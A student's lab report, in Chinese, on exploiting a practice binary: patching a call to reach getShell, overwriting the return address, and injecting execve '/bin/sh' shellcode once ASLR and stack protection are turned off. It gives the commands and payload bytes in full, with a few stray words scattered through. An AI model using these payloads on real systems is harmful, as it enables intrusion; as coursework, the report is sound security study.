先輸入objdump -d 20165305pwn2
查看反彙編代碼,而後查看機器指令,找到並根據機器指令計算出要篡改的目標地址。
咱們能夠從下圖中看到call 804891
機器碼指令爲e8 d7 ff ff ff,而後咱們能夠經過知道,只要把d7改成c3就能夠在運行文件時調用getshell。
如下是我要執行的一系列指令
首先輸入vi 20165305pwn2(進入編輯文件模式)——>:%!xxd(將文件轉換爲16進制)——>/e8 d7(找到對應的機器指令)——>先點擊回車,而後修改d7爲c3——>:%!xxd -r(將16進制數轉換爲原來的樣子)——>:wq(保存)——>./20165305pwn2(運行文件)——>ls(執行ls功能,看實驗是否成功)。
sass
在課上老師爲咱們演示瞭如何知道應該輸入多少位數纔可以覆蓋返回地址,在這裏我就很少說了。
getShell的內存地址,經過反彙編時能夠看到,即0804847d。
如下是我執行的一系列指令:
gdb 20165305pwn2(進入gdb調試)——>r——>輸入111111112222222233333333444444441234這36位數(測試是否會形成緩衝區溢出),查看是哪幾位數形成緩衝區溢出——>退出gdb調試——>perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input(用getShell的內存地址代替1234,由於終端不讓輸入地址,因此構造一個input文件)——>(cat input;cat) | ./20165305pwn2(執行程序)——>ls(查看是否攻擊成功)。網絡
以前我嘗試了一下輸入的數字位數大於36位看可不能夠覆蓋返回地址,可是總會報錯,好像是不讓執行,因此我就直接入了36位數字
dom
目的:爲了直接在終端注入一段機器指令,獲取一個交互式的shell
如下是我執行的一系列指令學習
apt-get install execstack(安裝execstack)——>execstack -s 20165305pwn2(設置堆棧可執行)設置堆棧可執行 ——>execstack -q 20165305pwn2 (查詢文件的堆棧是否可執行)——>echo "0" > /proc/sys/kernel/randomize_va_space (關閉地址隨機化)——>perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode(編寫shellcode) ——>(cat input_shellcode;cat) | ./20165305pwn2(注入shellcode)——>打開另外一個終端,輸入口ps -ef | grep 201653056pwn2——>attach 進程號——> disassemble foo(反編譯)——>break *0x080484ae(設置斷點)——>c——>info r esp(查看esp)——>x/16x 0xbffff25c(根據地址,查看其存放內容)——>退出gdb調試——>perl -e 'print "A" x 32;print "\x60\xf2\xff\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode(根據地址計算出要注入的地址,並編寫input_shellcode)——>xxd input_shellcode——>(cat input_shellcode;cat) | ./20165305pwn2(注入shellcode)——>回車輸入ls查看結果。
測試
什麼是漏洞?漏洞有什麼危害?
我認爲漏洞就是在使用程序的過程當中暴露出來的一些問題,這是因爲在設計程序時沒有考慮到的不足之處。
危害:我認爲通常能夠經過漏洞使程序崩潰、癱瘓,還能夠經過漏洞獲取必定的非法權限等等。spa
經過本次實驗,讓我掌握了緩衝區溢出攻擊的一些基本知識與操做,而且爲之後的學習打下了基礎。爲了掌握更多的知識,從此我會更加努力地學習。設計